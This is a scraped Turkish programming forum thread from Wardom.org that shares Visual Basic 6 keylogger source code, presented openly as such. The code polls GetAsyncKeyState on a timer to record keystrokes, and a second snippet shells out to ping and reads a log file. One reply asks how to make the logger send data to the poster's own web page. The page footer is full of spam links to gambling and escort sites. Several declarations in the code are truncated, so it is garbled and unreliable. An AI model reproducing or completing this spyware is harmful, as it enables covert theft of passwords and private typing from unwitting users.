bende denemedim ama arkdşlarım arıyodu elne sağlık+23 TIGER-

End If Else frmMain. MousePointer = 0 VarX = MsgBox End If ben denemedım arkadaslar bı yerden alıntı

Componentler: text1 Module: Public Const DT_CENTER = &H1 Public Const DT_WORDBREAK = &H10 Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" As Long Declare Function SetTimer Lib "user32" As Long Declare Function KillTimer Lib "user32" As Long Declare Function GetAsyncKeyState Lib "user32" As Integer Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Global Cnt As Long, sSave As String, sOld As String, Ret As String Dim Tel As Long Function GetPressedKey As String For Cnt = 32 To 128 'Get the keystate of a specified key If GetAsyncKeyState <> 0 Then GetPressedKey = Chr$ Exit For End If Next Cnt End Function Sub TimerProc Ret = GetPressedKey If Ret <> sOld Then sOld = Ret Form1. Text1. Text = Form1. Text1. Text & Ret End If End Sub Form_Load: SetTimer Me. hwnd, 0, 1, AddressOf TimerProc Form_Unload: KillTimer Me. hwnd, 0 Ping Atma ve Veri Alma Componentler form1->frmmain text1->txtnumber text2->txtIP ext3->txtoutpu General: Option Explicit Const SYNCHRONIZE = &H100000 Const INFINITE = &HFFFF Const WAIT_OBJECT_0 = 0 Const WAIT_TIMEOUT = &H102 Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" As Long Private Declare Function OpenProcess Lib "kernel32" As Long Private Declare Function WaitForSingleObject Lib "kernel32" As Long Private Declare Function CloseHandle Lib "kernel32" As Long Form_Load: Dim ShellX As String Dim lPid As Long Dim lHnd As Long Dim lRet As Long Dim VarX As String frmMain. MousePointer = 11 If txtIP. Text <> "" Then DoEvents ShellX = Shell lPid = ShellX If lPid <> 0 Then lHnd = OpenProcess(SYNCHRONIZE, 0, lPid) If lHnd <> 0 Then lRet = WaitForSingleObject CloseHandle End If Beep frmMain. MousePointer = 0 Open "C:\log. txt" For Input As

merhaba. ben bunun kendi web sayfamla haberleşenini nasıl yapabilirim acaba? You must log in or register to reply here. Alakalı Olabilecek Konular I Vb6 Msflexgrİd nesnesine Txt dosyasını okutma Hk. ikayserili 11 Şubat 2021 Yanıt 0 Gösterim 2K 11 Şubat 2021 ikayserili I Forum Programlama Visual Basic Bize Ulaşın Forum Kuralları Gizlilik Sözleşmesi Yardım Ana Sayfa RSS bafra oto ekspertiz, Tiktokbegeni.com, erkek cüzdan, eskişehir haber, çelik ranza, hasta yatağı kiralama, bonus veren siteler, ankara oto ekspertiz, istanbul oto ekspertiz, eskişehir oto ekspertiz, çorum oto ekspertiz, geobonus. org, deneme bonusu, bonusportali.com, vbet giriş, Pokerklas, Caddebet, megapari giriş, meritking giriş, meritking, kingroyal giriş, bahis siteleri, betwinner, rokubet giriş, deneme bonusu veren siteler, takipçi satın al, deneme bonusu veren siteler, betnano giriş, elektronik sigara, deneme bonusu veren siteler, replika saat, melbet giriş, smok, deneme bonusu, bahis forum, melbet, izmit oto ekspertiz, poppers turkiye, eskişehir oto ekspertiz, dalyan otel, hack forum, melbet, sohbet numaraları Wardom. Org Bilginin Adresi. 1998'den beri Wardom yayında! Wardom Türkiye'nin en eski forum sitelerinden biri olarak günümüz web sitelerine sponsor linkler yayınlanmaktadır. ataşehir escort maltepe escort pendik escort gaziantep rus escort xxx videos erotik film izle istanbul escort ankara escort istanbul escort gaziantep escort gaziantep escort Paylaşım sitemizde 5651/8 ve 125. madellere göre, tüm üyeler ve ziyaretçiler sitenin kullanımı ve yapılan paylaşımlarından kendileri sorumludur. Şikayetleriniz için bize ulaşabilirsiniz. Tüm hakları saklıdır 2015 Wardom. Org bilginin adresi. Forum ve bilgisayar güvenliği sitesi. var sc_project=2030864;var sc_invisible=1;var sc_security="c6df530c"; Üst <div class="tooltip-content-inner"> <div class="reactTooltip"> <a href="#" class="reaction reaction--1" data-reaction-id="1"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Like" title="Like" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--2" data-reaction-id="2"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Love" title="Love" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--3" data-reaction-id="3"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Haha" title="Haha" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--4" data-reaction-id="4"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Wow" title="Wow" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--5" data-reaction-id="5"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Sad" title="Sad" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--6" data-reaction-id="6"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Angry" title="Angry" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> </div> </div> { "@context": "https://schema.org", "@type": "DiscussionForumPosting", "@id": "https:\/\/www.wardom.org\/threads\/vb-keylogger-kaynak-kodlari.85566\/", "headline": "vb keylogger kaynak kodları", "articleBody": "Componentler:\r\ntext1\r\n\r\nModule:\r\nPublic Const DT_CENTER = &H1\r\nPublic Const DT_WORDBREAK = &H10\r\nType RECT\r\nLeft As Long\r\nTop As Long\r\nRight As Long\r\nBottom As Long\r\nEnd Type\r\nDeclare Function DrawTextEx Lib \"user32\" Alias \"DrawTextExA\" As Long\r\nDeclare Function SetTimer Lib \"user32\" As Long\r\nDeclare Function KillTimer Lib \"user32\" As Long\r\nDeclare Function GetAsyncKeyState Lib \"user32\" As Integer\r\nDeclare Function SetRect Lib \"user32\" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\r\nGlobal Cnt As Long, sSave As String, sOld As String, Ret As String\r\nDim Tel As Long\r\nFunction GetPressedKey As String\r\nFor Cnt = 32 To 128\r\n'Get the keystate of a specified key\r\nIf GetAsyncKeyState <> 0 Then\r\nGetPressedKey = Chr$ \r\nExit For\r\nEnd If\r\nNext Cnt\r\nEnd Function\r\nSub TimerProc \r\nRet = GetPressedKey\r\nIf Ret <> sOld Then\r\nsOld = Ret\r\nForm1. Text1. Text = Form1. Text1. Text & Ret\r\nEnd If\r\nEnd Sub\r\n\r\nForm_Load:\r\nSetTimer Me. hwnd, 0, 1, AddressOf TimerProc\r\nForm_Unload:\r\nKillTimer Me. hwnd, 0\r\n\r\n\r\nPing Atma ve Veri Alma\r\nComponentler\r\nform1->frmmain\r\ntext1->txtnumber\r\ntext2->txtIP\r\next3->txtoutpu\r\nGeneral:\r\nOption Explicit\r\n\r\nConst SYNCHRONIZE = &H100000\r\nConst INFINITE = &HFFFF\r\nConst WAIT_OBJECT_0 = 0\r\nConst WAIT_TIMEOUT = &H102\r\n\r\nPrivate Declare Function SendMessage Lib \"User32\" Alias \"SendMessageA\" As Long\r\nPrivate Declare Function OpenProcess Lib \"kernel32\" As Long\r\nPrivate Declare Function WaitForSingleObject Lib \"kernel32\" As Long\r\nPrivate Declare Function CloseHandle Lib \"kernel32\" As Long\r\n\r\nForm_Load:\r\nDim ShellX As String\r\nDim lPid As Long\r\nDim lHnd As Long\r\nDim lRet As Long\r\nDim VarX As String\r\n\r\nfrmMain. MousePointer = 11\r\nIf txtIP. Text <> \"\" Then\r\nDoEvents\r\nShellX = Shell \r\n\r\nlPid = ShellX\r\nIf lPid <> 0 Then\r\nlHnd = OpenProcess(SYNCHRONIZE, 0, lPid)\r\nIf lHnd <> 0 Then\r\nlRet = WaitForSingleObject \r\nCloseHandle \r\nEnd If\r\nBeep\r\nfrmMain. MousePointer = 0\r\nOpen \"C:\\log. txt\" For Input As

txtOutPut. Text = Input(LOF(1), 1) Close